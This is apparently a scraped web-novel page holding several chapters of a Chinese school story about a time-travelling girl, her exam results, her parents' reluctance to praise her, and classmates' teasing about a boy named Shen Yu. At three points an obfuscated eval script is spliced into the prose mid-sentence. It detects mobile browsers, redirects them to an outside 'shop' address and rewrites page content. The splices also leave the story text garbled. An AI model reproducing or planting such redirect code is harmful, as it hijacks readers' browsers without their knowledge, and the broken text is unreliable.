女孩又猛地转过头看着小小的纸条,嘴角是忍不住的笑意,笑着笑着眼睛就有点发热,就又听旁边的女孩说,“而且,你英语是全班第一,年级第三,刘姐在办公室一直夸你。” “你太棒了,知知。” “嗯。”季知节顶着浓浓的鼻音,朝着张镜送出了一个大大的笑容,眼睛都笑不见了的那种。 —— 成绩单被张贴在了教室后方,小小一张白色A4纸围满了人,时不时传来惊呼。走了后门的于落落和季知节自然没有挤到那堆人中间。看着刚发下来的英语答题卡,于落落惊奇道,“你这个英语怎么考的,145啊!” 张镜也仔细看了看,“你作文就扣了两分诶,甚至还是因为有拼写错误,你这个单词不是我们教材学的吧?”、 “有些是四六级词汇和句型,我觉得看着会比较厉害就拿来用了。”季知节臭屁地笑了笑,“我背了很多单词,但是没想到写错了一个,要是没写错我就能再高点了。” “我记得还有人说,我只要前20名就够了。”于落落挤眉弄眼道,“是谁啊,镜子你记得不?” “我不记得啊,到底是谁啊?”张镜十分配合。 “是我呀是我呀。”季知节仰着脑袋笑。 “虽然有运气的部分,但是我现在超级自信。”季知节抖着小纸条,语气夸张道,“下一次我要超过张镜!” 张镜淡定地扶稳眼镜,把自己的成绩单递给季知节,平静道:“看看?” 语文:125,数学:138,英语:138,政治:92,历史:91,地理:95,物理:90,化学:88,生物:92,总分:949/1050,班排:1,年排:5 季知节双手把成绩单捧回给张镜,语气恭敬道:“打扰了。” “哼哼。”张镜挑眉拿回成绩,笑得不怀好意。 “她好嚣张!”于落落怪叫道,“我们不能让她这么嚣张下去!” “那你来?”季知节怂恿道。 “我语文就比镜子低两分,下次我超过她的语文,你继续保持英语,你再选个政治什么的,我们慢慢来。”于落落煞有其事地分析道,“我们总能超过她的。” “二打一胜之不武啊。”季知节佯装忧心道。 “没问题啊。”张镜笑得嚣张,“一打二轻轻松松啊。” “太嚣张了。”一旁听了半天的叶珊珊赞叹道,“但是班长你帅炸了!” “过奖过奖。”张镜谦虚一笑,“实力而已。” “班长你把你语文卷子借我看一下行吗?”叶珊珊看着自己的语文答题卡幽怨道,“我这个阅读理解要没救了。” “可以啊。” “我也要回去钻研一下阅读,下次誓死超过镜子。”于落落做了个鬼脸跑回了座位。 18. 第 18 章 高一三班的英语老师叫做刘洁,人称刘姐,是一位有着大波浪,天天穿着漂亮裙子的年轻教师,因为比较年轻的缘故,和班上的学生相处起来更像朋友。而且是真的非常喜欢夸奖人。 “大家都看到了吧,这次呢,我们班上有两位140分以上的同学,分别是季知节和我们的课代表梁子笑,其中季知节同学更是考了145分,在年级都能排到第三名哦,非常了不起!”刘洁的声音透过小蜜蜂传遍整个教室,甚至还带头鼓起了掌。 季知节因为这直白的称赞而有点不好意思,但是又忍不住搞笑,但是下一秒笑容就僵在了脸上。 “来我们来先讲一下作文,老师把这两位同学的作文扫描了一份,其中呢,梁子笑做得很不错,把我们平时说过的一些句型都用上了,我们大部分的同学都可以按这样的标准来要求自己。”刘洁打开PPT,指着屏幕上的作文道。 “而季知节同学用的高级词汇比较多,给阅卷老师的观感比较好,就是可惜有一个单词把‘a’写成了‘e’,一般来说阅卷老师是发现不了的,但是可能这个老师看见前面的词汇用得挺不错的,就想仔细看看,结果就抓到小辫子了。”刘洁把目光看向季知节,揶揄道,“下次再仔细点哦。” 季知节不好意思地点了点头,趁刘洁转身的空隙和张镜哭嚎,“作文投屏和公开处刑有什么区别。” “多习惯就好。”一个语文作文次次范文的模范生发来安慰。 季知节感觉今天一天都被夸奖淹没了,尤其是于落落和张镜,这两个人的赞扬像是不要钱一样往外扔,生怕夸少了季知节又开始不自信。但是不可否认被夸奖的滋味真的很好,季知节热衷于寻找他人身上的闪光点,并发自内心地夸奖,也喜欢收到别人的赞扬,可并不是每个人都能把赞扬的话脱口而出。 暖黄色的灯光照在餐桌上,却让饭菜蒙上了不属于自己的色彩,一张不大的饭桌硬生生将三个人分出了两个阵营。 “我说了,我这次考了班上第十名。”季知节拿着筷子一脸无奈地看着坐在对面的父母,“就不能夸一下我吗?” 季红卫夹了一筷子青菜,“那你前面不是还有九个人吗,而且年级排名前一百不都没进吗?” “那我英语考得很好啊。”季知节看着桌子上的饭菜,突然一点胃口都没有了。 “那你也不能骄傲啊?你这次考得好下次能不能保持呢?”季红卫一脸理所当然。 季知节梗着脖子没吭声。 “行了行了,你爸说得没错,我们继续努力啊。”柳明霞夹了一个鸡腿到女儿碗里,打圆场道,“赶紧吃饭。” 季知节看着碗里的鸡腿,最终沉默地吃起了饭。如果真的是15岁,季知节可能就会做出只吃米饭来彰显自己不高兴的行为,再严重点,连着几天都这么干只是为了让父母后悔。但是25岁的季知节知道,这种行为连被父母说幼稚的机会都不会有,因为他们根本不会注意到这点小手段,还可能因为被认为是挑食而再被说一顿。对面坐着的是这个世界上和自己最亲密的人,但是也是最难以理解的人。 也说不上有多伤心,回到房间的季知节调理了一下就又投入到了学习中,就在刷完一张卷子之后,柳明霞走了进来。 季知节更偏爱于白色的灯光,所以房间的吊灯也好,桌面上的台灯也好,都选择的是冷色调的白光。但这种灯光第一次让季知节感到了不舒服,灯光下的柳明霞眼角的细纹格外明显,坐下后不自觉佝偻起来的背部是长年伏案劳作的痕迹,颈部因为颈椎病而围了一条与季节不符的丝巾,小腹位置的衣服还有些潮湿,是刚刚洗碗留下的水渍。 季知节沉默地看着妈妈。 “怎么了,还在生气吗?”像是被季知节看得有点不自在,柳明霞扯了扯丝巾。 季知节摇头,“你有去做针灸吗?颈椎好点了吗?” 柳明霞像是才反应过来自己摸着丝巾,笑道:“颈椎没犯,我就是怕犯才提前带着的。” “你要注意一点啊。”季知节坐在座椅上转着圈,“疼就去做理疗。” “我知道的。”柳明霞笑了笑,从口袋摸出手机,“你最近钱还够花吗,你爸让我再给你转点。” 转着圈的动作停了一下,季知节疑惑道,“是你想给我转还是我爸想给我转啊?” “不都一样的吗?”柳明霞不太理解女儿的话。 “太不一样了啊。”季知节叹了口气,“我爸想给我转为什么不自己给我转,还要通过你。” “他不好意思呗。”柳明霞自顾自地打开转账页面,“他其实还是挺开心的,你考得这么好。” “那就夸我啊。”季知节随手拿了本书翻,“几句话那么难说出来啊。” “他怕你骄傲嘛。”柳明霞拍了拍女儿的头,“不然退步了怎么办。” “要是简单夸我就会退步的话,说明我本来学得就不扎实吧。”季知节的脑袋在妈妈手里顶了顶,“还有。” “你为什么不夸我啊?” “嗯?”柳明霞一愣。 “就刚刚在吃饭的时候。”季知节撇了撇嘴,“你就顾着附和他,也不夸我。” “平时也是,我爸说什么你都觉得对。” 柳明霞没料到女儿会说出这样的话,有些木讷道:“我那是习惯了,而且我以为你就想听你爸夸你来着。” “那你还是我妈妈呢。”季知节看着妈妈有些呆愣的额神色,募地做了鬼脸,“你要多夸夸我啊,就像我天天夸你一样。” 柳明霞噗嗤一笑,“你哪里天天夸我了。” “我没有吗?”季知节觉得自己简直冤死了,“我夸你新换的发色好看、夸你挑的丝巾漂亮、夸你工作认真,你自己翻翻你的聊天记录好不,真的是哦……” “想起来了想起来了。”柳明霞赶紧给女儿顺毛,“我也夸你,你考得真好。” “太敷衍了吧。”季知节皱着脸。 “你真的,想不起来我夸你,你也不夸我。”季知节半认真半开玩笑道,“你眼睛里只有我爸吧?他说什么就是什么?” “……”柳明霞想反驳,却不知道该怎么说。 “妈。”季知节突然操控椅子转了个圈,“把你手机给我看一下呗?” 柳明霞看着女儿拿着自己的手机打开购物软件,“想买衣服还是鞋子?” 季知节利索地点进购物车,忽略一堆男性外套裤子,径直往下滑,指着一条早早被选中的裙子道,“我要这个。” “你要这个干嘛,这个是大人穿的。”柳明霞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14398178|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好笑道。 “对啊,你给自己买。”季知节理直气壮道,“我考这么好不该有奖励吗,我就想看我妈穿漂亮裙子不行啊。” 柳明霞觉得有些好笑,又莫名感动,耐心解释道,“我要上班,没场合穿。” “你又不是天天上班,哪天跟我出去逛街就能穿了啊。”季知节转着笔语重心长道,“女人得对自己好一点,你得学会给自己花钱知道不,别老盯着我爸,也别操心我。” 柳明霞实在没忍住,敲了一下季知节的脑袋,“人小鬼大的。” 说着起身,“我不操心你了,我走了,你赶紧写作业去。” “好嘞—”季知节捂着脑袋拖长音调,懒洋洋地目送柳明霞离开,看着房间的门被关上,季知节把自己的脑袋按在桌面上放空。 买那条裙子是很容易的事情,可是难的是自己给自己买。 摆在一边的手机突然震动了一下,季知节下巴抵在桌面上,一只手移过去拿手机,摄像头碰见人脸自动解锁,弹出了一条转款到账的消息,就当季知节要关闭手机时,突然又弹出了一条聊天讯息。 妈妈:【图片.jpg】 是一张付款界面的截图,那条裙子被买下来了。 季知节猛地起身,脚下一个使劲,座椅原地转了起来。飞快旋转的人体工学椅都不能完全表达此刻的心情,季知节打开朋友圈,发了一条动态。 【今天是个好日子.jpg】 愉快地把手机放下,季知节就打算继续刷题,手机却又震动了一下。 沈瑜:【发生了什么好事嘛】 沈瑜:【暗中观察.jpg】 季知节挑眉,动态鲜红的“1”被贡献了出来。 季知节:【好啊,不学习!玩手机!】 季知节:【抓到你了.jpg】 沈瑜:【冤枉啊,我刚好到店里面来了,有什么想吃的吗,我给你带】 说着还拍了几张橱窗里点心的照片。 季知节看着漂亮又可口的点心,想了一会:【想吃,但是你别让我白吃我就选】 沈瑜无视沈琼的啧声,找了个座位坐下,抱着手机回复:【这可不是白吃,我姐很感谢你们之前试吃给的建议,现在改良之后的新品卖得特别好】 【而且我姐知道你英语考得那么好,说什么也要让我向你学习,让我多交点学费】 季知节:【不可以!试吃的建议是应该的,学习什么的,我也要找你问数学的啊】 季知节:【别占姐姐便宜了!!!】 沈瑜笑着把屏幕递给沈琼,沈琼开心极了,顺手就给了沈瑜一下,“看看小姑娘多贴心。” 说着就按住说话键:“妹妹!有什么想吃的快点,姐姐给你打折!” 季知节听着手机里活力满满的声音,笑着打字道:【谢谢姐姐!我想吃蝴蝶酥!】 对面回了一个OK的表情包。 过了一会,就把包装得可可爱爱的蝴蝶酥拍了一张照片过来。季知节把钱转过去,想了想选中最开始那条消息回复道:【我觉得我做成了一件我特别想做,但是一直没能做到的事情】 那边也很快回复了一句话:【恭喜!希望你每天都是好日子!】 【转圈圈.jpg】 19. 第 19 章 惦念着蝴蝶酥的季知节在早上只买了一杯豆浆就快乐地去往学校了。 到班级的时候已经来了一些人了,季知节朝着坐在座位上的沈瑜小幅度挥了挥手,沈瑜笑着点了点头。 眼睛一亮的季知节窜回自己的座位,果不其然在抽屉里面摸到了包装袋,迫不及待地拿出来一块就开始偷偷摸摸地吃。 “沈瑜给你带的?”张镜坐在一旁翻了一页英语书。 “嗯哼。” “吃慢点,我给你看着李老板。” 季知节讨好笑笑,朝张镜比了个心。 班级里的同学陆陆续续的来了,季知节抓紧消灭着最后一点蝴蝶酥,桌角却忽然被撞了一下,桌上的笔滚到了地上,正准备弯腰去捡笔,季知节就听见了“嘁”的一声。 季知节动作一顿,抬头去看却发现男生已经背着书包走到后面去了。 缓缓捡起笔,季知节一脸疑惑地看着张镜问道:“他刚刚是不是嘁了一声?” 张镜把目光从后面收回,有些不解的点头。 “梁子笑?”季知节转头去看刚刚的男生,满头问号,“他有事?” 张镜默默摇头。 …… “有点莫名其妙。”于落落挽着两个人道。 季知节很难不赞同,“而且他没事来撞我桌子,疼的是他诶,我顶多要捡个笔。” “下次把桌子往外移一点,让他多撞点。”张镜看着回班级的路,时不时拉着另外两个人避开人群。 “好主意,但是最好还是不要有下次了吧。”季知节道。 ——— 所以,季知节偏头看了一眼站在旁边的梁子笑,又看了看站在对面的于落落和张镜,满头问号。 要不说年轻的老师会玩呢,下午的体育课上,汪俊以这是最后一节三四班同上体育课为由,将两个班打乱重新组合在了一起,准备来一场混合大战。 好巧不巧,梁子笑和季知节被分到了四班的阵营,还刚好就站在旁边。 季知节:…… 匆匆瞥了一眼梁子笑,季知节就目不斜视地听着汪俊讲比赛规则了。 高中生是真的很容易被拿捏,明明上次比赛还各种看不惯隔壁班,但只要老师分组后略加拱火,就能重新形成两个充满火药味的阵营。 感受着已经燃起来的同伙们,季知节也莫名其妙开始兴奋起来了。 两个阵营的人排成两列纵队准备运球接力,虽然不在同一个阵营,但是季知节还是和于落落排到了同一排,于落落前面就是张镜。 “哟,小季同学。”于落落双手抱胸,笑得嚣张,“待会是要和我比哦。” “那可说不准。”季知节扬眉,“小心我们这边直接快你一个,那我就是和镜子比了。” “你想得美!”说话的却是排在后面几位的周博承,他从队列中探出脑袋反驳道。 “那我们试试就知道了。”沈瑜也不知道什么时候从队伍后列摸了上来,站在季知节身边挑衅道,连着季知节这边队伍好几个人都在宣战,闹着闹着就逐渐演变成了为前面接力的人呐喊助威。 接力的距离并不是很长,所以换人的速度还算快,而且在分组的时候老师也细心的把会打篮球的平均分在了两边。所以只要心态稳一点,不在中途把球拍跑,两边的差距都不会太大。 但是激烈的呐喊声有时候还是会给人带来压力的,在轮到张镜之前,就有朋友在运球事把球运到了场外,还真就像季知节说的那样,这边领先了一个人。 虽然处于领先位置,但是对于季知节而言压力反而更大了,接过传来的篮球,季知节谨慎地把球拍在了地上,借助反弹的力稳步前进,确定自己找到手感后才慢慢加速,冲着标志杆而去。 就在季知节走到标志杆时,张镜也出发了,于落落在起点虎虎生风地喊着加油,时不时还给季知节喊两句捣乱的话。 季知节装作听不见,稳稳当当地把球送到了梁子笑手中。看着梁子笑出发后,反手就勾住了于落落的脖子。 “干扰我?你胆子肥了啊!” 于落落告饶道,“救命救命,快到我了,快放开我。” “我就这么拉着你让你没办法去,那我们就赢定了。”季知节恶狠狠道。 “好过分!”于落落大喊道,“安安快过来,有人赖皮!” 一旁拿着秒表计时的张安安笑着看着两人打闹,温声道,“张镜快到了哦。” 倒也真的没有作出这种举动,季知节不情不愿地放开于落落,回到了自己的队伍。 “跑得很稳啊。”沈瑜看着季知节夸奖道。 “哼哼。”季知节甩了甩马尾,骄傲道,“那可不。” 沈瑜还想说什么,就被一阵惊呼打断了,场地上梁子笑手中的篮球滚出去了。 男孩估计没想到球会滚远,站在原地愣了一下满脸通红地追着球。旁边的队伍正好是轮到会会一点篮球的于落落,差距一下子缩小了不少。 “别着急别着急!” “不慌,稳住就行!梁子笑稳住!” “快冲啊!于落落!超过他们!” 反转是所有人都喜欢的情节,场上的声音陡然大了起来。 于落落像是打了鸡血一样,运球的动作越来越熟练,一时间居然真的反超了一点,慌张回到赛场的梁子笑一时找不回手感,跌跌撞撞地返回了起点。 球被传给了下一个人,跑完的人自觉靠边站,于落落臭屁地在季知节面前炫耀,季知节没好气地推开了女孩。 “顶多只是回到了同一个起点而已。”季知节哼了一声。 看着凑在一起聊天的几个人,梁子笑平复着心情,不声不响地凑近。 季知节注意到靠近的梁子笑,朝两人使了使眼色就要往旁边让。 “我不能站这吗?”看着季知节迈出去的步子,梁子笑突然开口道。 脚步停在半空,季知节试探般晃了晃脚尖,悄咪咪落下后若无其事道,“没有啊,怎么这么说。” “那你换地方干嘛?” “想换个地方晒晒太阳。”季知节面不改色,心里腹诽,不然等着你来撞我吗,这里可没有桌子给我挡着。 梁子笑没说话,一双眼睛直直看着地面。季知节有些疑惑地看了一眼梁子笑,抬脚就要走。 “所以我是不是很差。” 抬着的脚又卡在了半空,季知节欲哭无泪,忽视张镜和于落落嘲笑的目光,季知节把脚踩实,有些疑惑:“为什么?” “我刚刚把球弄掉了。”梁子笑抬头盯着季知节。 “那不挺正常的吗。”季知节指着那边还在比的人,“又不是人人都会打篮球。” “可是你没弄掉。”梁子笑说的理所当然。 “……”季知节皱了皱眉头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411521|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “所以呢?我没弄掉球你就不能掉,什么逻辑啊?” 梁子笑顿了一两秒,突然开口道,“你高中单词都背完了吗?” “?”季知节头上的问号都快具象化了,勉强维持着礼貌,“不好意思,这和你有关吗?” “你为什么会想到背超纲词汇的?”梁子笑像是没发现一般,自顾自的说道。 “你该不会,是嫉妒季知节英语考的比你高吧……”于落落悠悠道。 然后梁子笑就展示了一下什么叫做一秒红温,从脖子到脸上,一瞬间换了一个色号,甚至于连着梁子笑的情绪都激动了起来。 “我没有!”梁子笑大声反驳,旁边还在呐喊助威的同学都看了过来。 “你小声点!”季知节不好意思朝其他同学笑笑,摆摆手示意没事,“这是什么很光彩的事情吗?” “我都说了我没嫉妒!”梁子笑小声反驳。 “那你早上撞我桌子还嘁我!”季知节没好气道。 梁子笑飞快改口,“好吧,是有一点。” “……” 顶着季知节无语的目光,梁子笑又激动了起来,“明明我是课代表!我英语应该是最好的才对!” “你脑子有病吧?”季知节把更脏的话咽下去,“谁规定的?” “……”梁子笑半晌说不出话。 “而且你的最好只局限在班上吗?”季知节觉得从没这么无语过,“别的班比我们分数高的多了去了,你怎么不去找他们。” “……可是刘姐夸你了……”梁子笑踢了一下地面上的小石子,失落道。 “?” 季知节无法捋清这之间的关系,“刘姐天天夸人啊?” “她这次是夸得非常真心的,觉得你是她的得意门生,本来应该是我的。”梁子笑一张脸上写满了难过。 “……”季知节的表情突然变得一言难尽,“那什么,我们还小,师生恋不太道德吧?” 躲在后面的于落落扑哧一声笑出了声,张镜也满脸无奈。 “你说什么呢!”梁子笑又一秒红温,相当激动道,“我那是尊敬!尊敬!你脑子里都是些什么!” “OKOK!”季知节苦着脸安抚道,“你冷静冷静!我错了!” 朝着准备过来的沈瑜挥挥手,季知节又面向梁子笑。 “所以呢,你为了这么个事才这么别扭?”季知节无奈道,“你真的……”不太正常…… “你懂什么。”梁子笑依旧被巨大的悲伤笼罩着,“刘姐人特别特别好,她之前还……” 眼看着有内部消息,三个人连忙把耳朵竖起来,但是梁子笑警惕地看了一眼季知节,就停下了分享。 三个人齐齐在内心叹息一声。 “总而言之,我下次一定会考过你的。”梁子笑总结道,“我会超过你们所有人。” “好的好的,加油。”季知节敷衍笑笑,终于能迈出脚步,拖着于落落和张镜就走了。 “他好幼稚哦。”于落落回头看了一眼还在孤芳自赏的男生,低声吐槽道。 “明明初中二年级已经过了还能这么中二。”张镜也表示不解。 “他撞我桌子还没道歉呢。”季知节“嘁”了一声,“他要是能超过我,我就是小狗。” “这个也有点幼稚。”于落落耸了耸肩,对张镜道。 张镜偷笑,却也没否认。 20. 第 20 章 “哇!她怎么能拍得那么好啊!” 跑到场地边找个角落蹲着的季知节看着留着短发的女孩子轻巧地把球绕过标志杆,一气呵成地开始往回跑。 “她是校篮球队的吧。”于落落观察了一下,也夸奖道,“嘿嘿,还好是我们这边的。” 说着抬起双手,和张镜拍了一下。 “我们这边也不差好嘛!”季知节反驳道。 “到沈瑜了!”于落落突然精神一振,伏在季知节后背摇晃道。 被压着的季知节重心不稳差点摔倒,眼疾手快扶住地面,季知节咬牙切齿道:“你那么激动干嘛!他是我们组的!” 于落落心虚起身,干笑两声:“对不起嘛。” 张镜把于落落扯到边上,三个人排排蹲,没了于落落的“压迫”,季知节抱着膝盖开始摇摇晃晃。 场地上沈瑜接到球,相当利落地就出发了,虽然需要往返,但是对于会篮球的人来说距离并不算远。轮到返程时,旁边的球忽然弹射了过来,眼看着就要和沈瑜发生碰撞,少年突然一个运球转身,躲掉篮球的同时又没有停下前进的脚步,甚至于嘴角还勾了勾。 “我靠好帅!” 人群里突然传来一阵惊呼,有女孩直白地喊道。 “可恶被他装到了!” 男生怪叫着,“是谁送了个能这么装的机会给他!” “哇哦~” 看着沈瑜一气呵成地转身运球,季知节感叹道,“有点东西啊。” 于落落眼睛骨碌一转,用肩膀顶了顶季知节,压低声音道:“你觉得沈瑜帅吗?” “帅啊。”季知节回复地果断,“他不帅吗?” 张镜和于落落对视一眼,不动声色道,“哪帅了?” “刚刚多bking啊!”季知节朝场地努了努嘴,不解道,“你们没看见吗?” “不不不,不是这个。”于落落意味深长道,“我们是想说,你喜欢他吗?” 摇摇晃晃的动作一停,季知节慢慢把头转向于落落,圆眼里写满了震惊。 “诶?” “就感觉你们关系好好诶。”于落落眨着眼睛偷笑。 “早上还给你带蝴蝶酥了!”张镜也一脸八卦。 “他顺道问的!”季知节反驳,“我给钱了。” “那他怎么不问我们?”张镜有理有据。 “……” “而且我感觉他有点喜欢你诶。”于落落托着下巴,说得信誓旦旦。 “不可能。”季知节说得果断。 “为什么!”于落落挑眉。 “……就,”季知节支支吾吾,“……我们还是学生……” “你们又不是师生恋。”于落落口出狂言,“隔壁班都已经有人谈恋爱了。” “?”季知节表情一言难尽,“你在说什么鬼东西。” “本来就是嘛。”于落落指了指旁边混在人群中的一个男生,“四班的体委,和五班的一个女孩谈恋爱了。” “这你都知道?”季知节倾斜身子轻怼了一下。 “要保持对生活的敏感性啦。”于落落晃了晃手指,说得理所当然。 “就是八卦。”张镜拍了一下女孩灵活的手指,没好气道。 “我要好好学习的,谈不了一点恋爱。”季知节正经道,“没那个精力。” “哼哼,但是他来了。”于落落笑着指了指旁边,示意道。 不远处沈瑜朝着这边小跑而来,注意到季知节的视线时,还挥了挥手。 于落落和张镜对视一眼,就要溜走,季知节一手抓住一个,低声道,“敢跑你们就死定了。”还不忘朝沈瑜撤出一抹笑。 逃跑未半而中道崩卒,于落落带着一抹假笑热烈欢迎道,“哎呀,这不是我们沈瑜同学嘛,刚刚真的有够帅的啊!” 沈瑜靠近的脚步一顿,略有些犹豫道,“我能过来吗?” “别管她。”季知节皮笑肉不笑地瞪了一眼挤眉弄眼的于落落,朝沈瑜问道,“有什么事情吗?” “快集合了,我来喊你们。”沈瑜看了一眼季知节,“发生什么事了吗?” “没有啊。”季知节撑住大腿起身,踢了踢有些发麻的脚,若无其事道。 沈瑜又看了看正在偷笑的于落落,神色奇怪,但也没追根究底。 于落落拉着张镜走在了前面,季知节看着走在自己身边的沈瑜,无奈叹了口气。 “聊什么呢刚刚?”沈瑜像是没有听到叹气声一样,笑着问。 “聊四班体委谈恋爱的事情。”季知节犹豫了一下,半真半假道。 “啊。”沈瑜也偷偷朝四班体委的方向瞟了一眼,“周博承和我说过,好像是有这么回事。” “原来是已经流通了的八卦嘛。”季知节失笑。 沈瑜一本正经摇头,“那倒也没有,他们也不太敢太张扬。” “那肯定啊,这是早恋啊!”季知节皱了皱鼻子,“我们还是学生啊!” “就是嘛。”沈瑜飞快看了一眼旁边的季知节,附和道,“主要任务还是学习啊。” 在前面偷听了半天的于落落回头,吐槽道,“你们是什么教导主任吗?” “我们这叫自觉!”季知节朝于落落做了个鬼脸。 “哟哟哟,你最好是哦!”于落落挤眉弄眼道。 “反正我高中才不谈恋爱呢。”季知节轻哼一声,“我有好多事情要做。” “我倒是觉得谈恋爱不影响我要做的事情。”沈瑜轻咳一声,看着季知节瞪过来的视线,飞快改口道,“但我高中也不打算谈恋爱。” “啧啧啧。”于落落挽着张镜的手臂,笑得不怀好意,“那就谁谈谁是小狗咯。” 谈笑间四人已经回到了集合的地方,汪俊站在台阶上,用哨子催促着学生们赶紧排队,看着队伍逐渐整齐,汪俊笑着开口道,“首先恭喜我们三班四班的所有同学,完成了一场很精彩的比赛!” “太严肃啦!俊哥!”下面有人喊道。 汪俊噗嗤一笑,“上课还是要叫我老师的哈,给点面子给点面子。” “好的俊老师!” 学生堆成了一片欢乐的海洋。 “这个不错,夸我帅。”在笑声中,汪俊煞有其事点点头,“好了咱们说正事。” “首先一个是下周开始,四班就会有一位新的体育老师了,我们两个班就不能合班上课了。”汪俊把手往下压,尝试制止住四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14419033|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班同学的哀嚎,“我这节课特意安排你们混合比赛也是想说,不管你是那个班的学生,都是我的学生,都要好好上课知道了吗?” “知——道——了——”拖长的语调显得有些有气无力,汪俊又被逗笑了,“还是可以一起打球的啊,自由活动时间还能一起玩啊。” “还有第二件事情就是,我们的运动会马上就要到了!” “耶!”看着一秒开心的两个班,汪俊无奈摇头,“别高兴得太早,都给我踊跃报项目啊!” “像长跑、跳高、跳远,该练的可以练起来了,上战场得先磨刀。”汪俊叮嘱道,“不管名次多少,该报的都报上啊,别空着,不然就随机挑人了,还不如你们提早练呢。” “啊~~”只听见一片鬼哭狼嚎,“谁把三千米捡走吧求求了!” “行了行了,别嚎了,解散解散。”汪俊赶紧挥了挥手,示意所有人解散。 一群人如鸟兽散,季知节混在人群等着于落落和张镜。 “你们打算报项目吗?”季知节好奇道。 张镜摇头,“此生大敌,唯有体育这门课,我甘愿让出第一。” “要是咱们学校有些趣味运动会就好了,玩点两人三足什么的。”于落落遐想道,“100m、200m高手云集、400m、800m我愿称之为人类极限,1500m、3000m不出意外是倒霉蛋大会。” “跳高跳远是人类驯服四肢现场。”张镜跟着总结。 “总而言之,咱们主打一个重在参与。”季知节拍板道,“写点加油稿什么的就差不多。” “完美。” “天灵灵地灵灵,不要摇到我就行。”于落落闭眼虔诚祈祷道。 “你说早了。”张镜幸灾乐祸道,“点名还早,你现在求神拜佛哪路神仙都不记得。” “没错没错。”季知节想到刚回到十五岁的那天,“还是得求点加急的,今天只能求今天或者明天的事情。” 于落落觉得荒唐,“你们说得就像真的一样,疯了吗?” 季知节耸肩,“没准呢。” 没老师组织的体育课堪称大型放羊现场,东一簇、西一搓,真正自觉运动的不会有多少人,更多的还是躲在树荫底下或者坐在台阶上聊天。 目光触及到某个地方,季知节忽然开口道:“这次课,张安安她是不是还是没有参加啊。” 顺着季知节的视线看过去,女孩正坐在粉刷着黄油漆的台阶上,和旁边的朋友聊着天,时不时还轻笑一下,嫩黄色的背景显得女孩肤色透白,哪怕就在阳光下,却也很难让人感受到热度。 “是吧。”于落落静默了一下,“热身没跑,比赛也只是帮老师在计时。” “感觉可能是身体不好吧。”张镜看着明显比其他人要更加瘦弱的女孩,低声道。 季知节抬头看了一眼明亮的天空,又看了看不远处在草坪奔跑的少年们,“如果运动会看见她的话,我们去找她玩吧。” “可以啊。”于落落答应的相当爽快,“四个人能打牌了。” “小心被老师没收。”张镜斜了一眼不着调的于落落,“除非去教室偷着玩。” “好主意。”季知节竖了个大拇指。 21. 第 21 章 即使是同班同学,但如果不是座位靠近、或者故意寻找机会,男生和女生是很少一起玩耍的,每个人都有自己的小圈子,下课时间也不够横跨半个班去聊几句天。 所以季知节躲避沈瑜的行为没有被任何人察觉,虽然只是类似于上厕所不从后门走,而是选择从前门绕这种无伤大雅的小行为,但是季知节清楚地知道,体育课上于落落那番话还是对自己造成了一些影响。 季知节不知道怎么去形容自己的心情,开心吗?好像是有一点的,毕竟那是沈瑜啊,是将来歌单里那个被循环了无数次的沈瑜,但是开心之余呢?更多的是茫然。为什么会有这样一出呢? 翻看着手机上和沈瑜的聊天记录,又想起平日里和沈瑜的相处,季知节后知后觉的发现,两人好像是过于熟稔了,那些沈瑜想方设法想要听见的夸奖,只在两人单独相处时出现。换而言之,季知节觉得,在她面前,沈瑜好像更孩子气一点。 不过这就更奇怪了,这个年龄段的男孩子,在喜欢的人面前,不该表现的更成熟一点吗? 季知节用自己微乎其微的恋爱经验推测着。 但是季知节是真的不想在高中分心,在无法确定这样的日子会不会提前结束的情况下,季知节只想在高中生活里好好学习,只想用尽全力让自己能多一些选择的机会。 季知节不懂该如何处理少年心事,纠结许久,只能告诉自己以后还是离沈瑜远一点好了。 ——— 沈瑜当然没料到季知节做出了这个决定,但是沈瑜比季知节想的要更加敏锐一点。 体育课上三位女孩奇奇怪怪的氛围,看见自己是意味深长的笑,以及突然聊起来的关于恋爱的话题,都让沈瑜察觉到,自己的小心思大概率是被发现了。 再观察到,自体育课后,季知节就不再从后排经过、甚至头都没有往后转一下的事实,沈瑜也清楚,自己大概率是要被敬而远之了。 沈瑜无法否认自己对季知节的好感,他喜欢看见季知节往向自己时带着笑的眼眸,也喜欢季知节开口时充满真诚的语气,她总是善于发现别人的闪光点,好像每个人在她眼中都是闪闪发光的,但是沈瑜还是最喜欢她看着自己的眼睛夸奖自己。 所以他不愿意去想象如果未来那双明亮的眼睛里没有自己了,他会有多难过。 沈瑜突然直起身子,脚下一划,椅子就平移到了另外一张桌子旁。 